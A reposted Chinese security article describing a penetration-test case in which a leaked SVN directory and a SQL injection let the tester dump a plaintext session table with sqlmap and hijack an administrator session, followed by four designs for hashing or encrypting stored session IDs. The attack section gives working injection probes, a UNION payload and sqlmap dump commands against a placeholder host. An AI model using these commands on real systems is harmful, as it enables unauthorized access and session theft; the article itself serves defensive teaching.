文章总结: 本文通过案例分析了SQL注入窃取明文SessionID引发的会话劫持风险。文章提出了哈希存储、加盐哈希、复合键绑定及对称加密四种方案,强调应对SessionID加密存储以切断攻击链路。该设计即使数据库泄露也能有效保障会话安全,防止未授权访问。 综合评分: 89 文章分类: 代码审计,安全开发,渗透测试,漏洞分析,WEB安全
安全开发-会话劫持之会话ID加密存储
sec0nd安全
2025年12月29日 22:38 北京
以下文章来源于青松阁主 ,作者汤青松
青松阁主 .
关注我,及时收取你遇到的问题
一、背景
Web 系统的会话一般通过 Cookie 存 Session ID维持,服务器用 ID 找对应会话数据,一般Session 数据存成服务器本地文件,文件名对应 Session ID。 考虑到负载均衡情况下 Session 会存到 MySQL/Redis 数据库里;
在设计的时候要对SessionID进行加密,不然遇到SQL 注入漏洞攻击者就能直接查 Session 表拿到有效 ID,伪造会话后能未经授权访问系统,这篇文章里我会讲解一个攻防演练案例,来说明会话ID加密存储的重要性。
求职中工作, 微信 songboy8888
二、漏洞案例
2.1 渗透受阻
渗透测试目标系统用 PHP + MySQL 技术栈,对管理员登录界面测试没有突破成功:
- 登录爆破尝试失败:登录页面配备图形验证码(每次请求自动刷新),且错误登录 5 次后会锁定 IP 30 分钟;密码错误时仅返回统一模糊提示“用户名或密码错误”,无法通过响应差异枚举有效用户名。
- 其他入口探测无果:尝试 /admin、/wp-admin 等默认后台路径均返回 404;目录扫描发现 robots.txt,但内容为空;子域名枚举未发现测试环境或备份站点。
2.2 源代码泄露
资源的深度扫描中,发现网站线上环境残留 SVN 版本控制目录,通过.svn路径获取到关键信息:
https://target.com/.svn/entries https://target.com/.svn/wc.db
知道有 SVN 信息泄露漏洞之后,做了两件事:
- 下载完整源代码:通过
svn checkout https://target.com/.svn/命令获取项目全部代码; - 梳理项目结构:找核心目录与文件,包括控制器(UserController.php、AdminController.php)、模型(UserModel.php、SessionModel.php)及数据库配置文件(config/database.php)。
2.3 代码审计
对源代码的定向审计,发现两个安全问题,给攻击提供了突破口:
2.3.1 存在SQL注入
UserController.php 里的 getUserProfile 方法存在 SQL 注入漏洞——直接把用户输入的 user_id 参数拼接到 SQL 查询语句中,没有做过滤和预编译处理:
public function getUserProfile($user_id) {
// 直接拼接用户输入到SQL查询,存在严重注入风险!
$sql = "SELECT * FROM users WHERE id = " . $_GET['user_id'];
return $this->db->query($sql)->row();
}
2.3.2 会话存储配置暴露
config/session.php 中,看到session会话的数据,指向会话数据表名:
$config['sess_driver'] = 'database'; // 会话存储驱动:数据库
$config['sess_save_path'] = 'ci_sessions'; // 会话数据表名
2.4 窃取会话ID
发现这两个漏洞后,通过 SQL 注入漏洞实现了会话窃取与劫持,具体步骤如下:
2.4.1验证漏洞有效性
首先手动构造Payload和自动化工具验证漏洞是不是真实存在:
# 手动测试注入点:通过逻辑判断验证注入可行性
curl "https://target.com/api/user/profile?user_id=1' AND '1'='1"
curl "https://target.com/api/user/profile?user_id=1' AND '1'='2"
# 自动化探测:使用sqlmap深度验证并获取注入细节
sqlmap -u "https://target.com/api/user/profile?user_id=1" --batch --level=3
2.4.2获取数据库信息
通过 Union 注入获取目标数据库名称:
1' UNION SELECT database(),null-- -
执行结果发现数据库名是 xxx_cms_production。
2.4.3枚举表结构
继续用 sqlmap 扫描目标数据库中的表,找到业务表:
sqlmap -u "https://target.com/api/user/profile?user_id=1" --tables
关键发现 3 张有用的表:
- users:用户信息表,存储用户名、密码哈希等核心数据;
- ci_sessions:会话表,对应前文发现的会话存储配置;
- admin_logs:管理员操作日志表。
2.4.4尝试破解用户表
继续用 sqlmap 查询 users 表字段结构:
sqlmap -u "https://target.com/api/user/profile?user_id=1" --columns -T users
发现密码相关字段采用强哈希保护:
- password_hash VARCHAR(255):采用 bcrypt 哈希算法;
- salt VARCHAR(32):随机盐值。
尝试彩虹表破解,没有成功,开始向会话表寻求突破。
2.4.5会话表分析
查看 ci_sessions 表结构,会话数据存储格式:
sqlmap -u "https://target.com/api/user/profile?user_id=1" --columns -T ci_sessions
有用的字段有这几个:
- session_id VARCHAR(128):会话 ID;
- user_agent VARCHAR(255):客户端 User-Agent 信息;
- ip_address VARCHAR(45):客户端 IP 地址;
- last_activity INT(11):最后活动时间戳;
- user_data BLOB:会话数据(包含用户 ID、权限等级等关键信息)。
2.4.6窃取会话数据
用sqlmap 导出最近 1 小时内活跃的会话数据(确保会话有效性):
sqlmap -u "https://target.com/api/user/profile?user_id=1" \
--dump -T ci_sessions \
--where="last_activity > UNIX_TIMESTAMP()-3600"
发现会话表中 session_id 字段是存储明文值,与用户 Cookie 中的 Session ID 一模一样,导出的有效会话数据示例:
session_id: "a3f8b7c12d9e45f6a7890b1c234d5678"
user_data: "a:3:{s:7:\"user_id\";s:1:\"1\";s:8:\"username\";s:5:\"admin\";s:5:\"group\";s:9:\"administrator\";}"
last_activity: 1625092800 # 10分钟前(会话仍有效)
2.4.7会话劫持
用窃取的会话 ID,通过修改 Cookie 值即实现未授权登录:
- 在浏览器中打开目标网站;
- 浏览器开发者工具编辑 Cookie,将 PHPSESSID 替换为窃取的 session_id;
- 刷新页面,直接以管理员身份登录系统,无需任何密码验证。
2.5 漏洞影响
实现权限获取,暴露后续攻击路径:
- 核心权限控制:可以登录管理后台,查看所有用户数据并执行管理员操作;
- 持久化访问:会话有效期有 24 小时,可以长期控制目标账户;
- 横向移动:可以窃取其他用户的会话 ID,扩大攻击范围;
- 权限提升:有些用户会话数据里包含隐性敏感权限,可以利用后权限提升。
三、安全设计
为防御这种会话劫持攻击,可以借鉴用户密码的哈希存储思路,对 Session ID 进行不可逆处理或加密后再存储,就算攻击者获取会话表数据,也无法得到有效的 Session ID。 4 种安全设计方案:
3.1 哈希存储
原理是客户端保留原始 Session ID,服务器端仅存储 Session ID 的哈希值,验证时通过哈希匹配确认会话有效性。
- 客户端:正常存储原始 Session ID(如
123); - 服务器端存储:计算原始 Session ID 的哈希值(如
hash("sha256", "123")),仅将哈希值存入会话表; - 验证流程:① 从客户端 Cookie 中获取原始 Session ID;② 服务器端计算其哈希值;③ 用哈希值查询会话表,匹配则验证通过。
优势:实现简单,无需修改客户端逻辑;缺陷:若攻击者获取哈希值,可能通过彩虹表反向破解(需配合强哈希算法规避)。
3.2 哈希增强
在基础哈希方案的基础上,为每个 Session 生成独立的随机盐值(Salt),进一步提升哈希值的安全性,抵御彩虹表攻击。
// 生成会话时的处理逻辑
$session_id = generate_random_id(); // 生成原始Session ID
$salt = generate_random_salt(); // 生成随机盐值(每个Session唯一)
$hashed_id = hash('sha256', $session_id . $salt); // 盐值拼接后哈希
// 存储逻辑:将 $hashed_id(哈希值)和 $salt(盐值)存入数据库
// 客户端Cookie:仍存储原始 $session_id
验证流程:服务器端获取原始 Session ID 后,先从会话表中查询对应盐值,再拼接计算哈希值,与存储的哈希值匹配验证。优势:盐值唯一性确保即使原始 Session ID 相同,哈希值也不同,彻底抵御彩虹表攻击。
3.3 复合键绑定
原理是将会话标识符与用户设备特征(如 User-Agent)绑定,生成复合会话密钥,即使 Session ID 泄露,跨设备也无法使用。
// 生成复合会话密钥
$user_agent_hash = substr(hash('sha256', $_SERVER['HTTP_USER_AGENT']), 0, 16); // 提取User-Agent哈希(16位精简)
$session_key = hash('sha256', $session_id . $user_agent_hash); // 复合密钥
// 服务器端存储:$session_key + $user_agent_hash(或直接存储复合密钥)
// 验证流程:客户端请求时,服务器端重新计算复合密钥,与存储值匹配
优势:具备设备绑定特性,进一步缩小会话泄露后的攻击范围;缺陷:用户更换浏览器、升级系统或修改 User-Agent 时,会导致会话失效(需平衡安全性与用户体验)。
3.4 对称加密存储
原理是采用对称加密算法对原始 Session ID 加密后存储,验证时仅服务器端通过密钥解密获取原始 ID——即使数据库数据完整泄露,攻击者无解密密钥也无法获取有效 Session ID。
// 存储时:加密原始Session ID
$stored_id = encrypt($session_id, $server_secret_key); // $server_secret_key为服务器端密钥(需安全管理)
// 验证时:解密获取原始Session ID
$session_id = decrypt($stored_id, $server_secret_key);
优势:安全性最高,彻底隔离原始 Session ID 与数据库存储;缺陷:需额外管理加密密钥(密钥泄露则方案失效),加密解密过程会带来轻微性能损耗。
四、总结
会话数据库存储遇到SQL注入会引发会话劫持风险,防御手段是对会话标识符做哈希 / 加密处理,切断攻击者查会话表获有效会话ID的攻击链路,实现即便存在 SQL 注入漏洞,也能保障会话安全。
重点:
- 算法选型:优先用 SHA-256/512 哈希、AES-256 加密;禁用 MD5、SHA-1、DES 等弱算法。
- 密钥 / 盐值管理:密钥用环境变量或 KMS 存储,禁止硬编码;盐值需随机、唯一。
- 性能平衡:高并发场景选 “哈希 + 动态盐”(低损耗);金融、政务等敏感系统优先 AES-256 加密(高安全)。
- 兼容性适配:兼容现有会话机制,不修改客户端逻辑;做好会话失效后的用户引导。
日期:2025年12月29日 作者:汤青松 微信:songboy8888
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:sec0nd安全 《安全开发-会话劫持之会话ID加密存储》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论